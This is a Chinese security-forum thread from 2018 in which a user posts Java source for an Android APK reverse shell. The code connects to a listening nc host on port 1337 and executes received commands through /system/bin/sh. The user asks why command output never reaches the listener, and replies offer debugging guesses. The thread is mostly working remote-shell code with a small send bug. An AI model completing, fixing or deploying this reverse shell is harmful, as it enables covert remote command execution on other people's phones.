首页
社区
课程
招聘
[求助]求助下我写的这个reverse shell 为什么收不到输出结果
发表于: 2018-4-27 03:38 2964

[求助]求助下我写的这个reverse shell 为什么收不到输出结果

2018-4-27 03:38
2964
求助各位大牛。我写了个安卓手机上的apk reverse shell玩玩,代码参考了hacking android这本书,大致就是服务器这边发过去命令,手机端执行。但是我这边服务器收不到返回结果,非常郁闷。。
我在电脑上用nc监听1337端口。

可以看到,这里收到了手机的连接,然后我发了条'id'命令过去。同时可以看到,log打印出来手机上已经成功执行了。

private void getReverseShell(){
        Thread thread = new Thread(){
            @Override
            public void run(){
                String SERVERIP = "192.168.0.108";
                int PORT = 1337;
                try{
                    InetAddress HOST = InetAddress.getByName(SERVERIP);
                    Socket socket = new Socket(HOST, PORT);
                    Log.d("TCP CONNECTION", String.format("Connecting to %s:%d (TCP)", HOST,PORT));
                    while (true){
                        out = new PrintWriter(new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())),
                                true);
                        in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                        Log.d("reverseshell","here");
                        String command = in.readLine();
                        Log.d("reverseshell",command);
                        Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh","-c",command});
                        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                        int read;
                        char [] buffer = new char[4096];
                        StringBuffer output = new StringBuffer();
                        while((read = reader.read(buffer)) > 0){
                            output.append(buffer,0,read);
                        }
                        reader.close();
                        String commandouptput = output.toString();
                        process.waitFor();
                        Log.d("reverseshell",commandouptput);
                        if(commandouptput != null){
                            sendoutput(commandouptput);
                        }
                        out = null;
                    }

                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        };
        thread.start();
    }

    private void sendoutput(String commandoutput){
        if (out != null && out.checkError()){
            out.println(commandoutput);
            out.flush();
        }
    }
看一下代码,两个‘here’的输出说明sendoutput函数也成功执行了。但是为什么nc输出不了结果呢。。。我防火墙已经开了1337的tcp端口了。真的奔溃。。

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (9)
雪    币: 3852
活跃值: (737)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
没写过安卓的,帮不了你。只写过windows和linux的,我的都成功了
2018-4-27 09:48
0
雪    币: 3852
活跃值: (737)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
怀疑和使用的套接字有关
最后于 2018-4-27 11:13 被病毒小子编辑 ,原因:
2018-4-27 09:52
0
雪    币: 59
活跃值: (185)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
IP地址写错了?
看到上面服务器端显示:Conection  from  192.168.0.108,下面代码中的服务器地址也是这个。。。
2018-4-27 11:00
0
雪    币: 85
活跃值: (101)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
病毒小子 怀疑和使用的套接字有关
谢谢~我再去看看~
2018-4-27 20:59
0
雪    币: 85
活跃值: (101)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
heartbeast IP地址写错了? 看到上面服务器端显示:Conection from 192.168.0.108,下面代码中的服务器地址也是这个。。。
应该不是这个问题,我这个安卓在模拟器上,然后主机是局域网内的ip。从主机发消息到安卓模拟器没有问题,但是安卓模拟器到主机这里就有问题。。。唉。。。
2018-4-27 21:00
0
雪    币: 3852
活跃值: (737)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
楼主找到原因了吗?
2018-5-4 11:02
0
雪    币: 85
活跃值: (101)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
病毒小子 楼主找到原因了吗?
没有。。。。。
2018-5-4 11:57
0
雪    币: 3852
活跃值: (737)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
9
我之前在windows操作系统上用socket函数创建出来的shell好像也是这样,后面查了资料说要使用WSASocket函数创建才行。还有就是要把套接字和标准输入、标准输出进行绑定才行。
2018-5-4 13:33
0
雪    币: 2907
活跃值: (1456)
能力值: ( LV12,RANK:215 )
在线值:
发帖
回帖
粉丝
10
Runtime.getRuntime().exec(new  String[]{"/system/bin/sh","-c",command});  这块改成  不用sh  -c  直接command试试
2018-5-4 16:33
0
游客
登录 | 注册 方可回帖
返回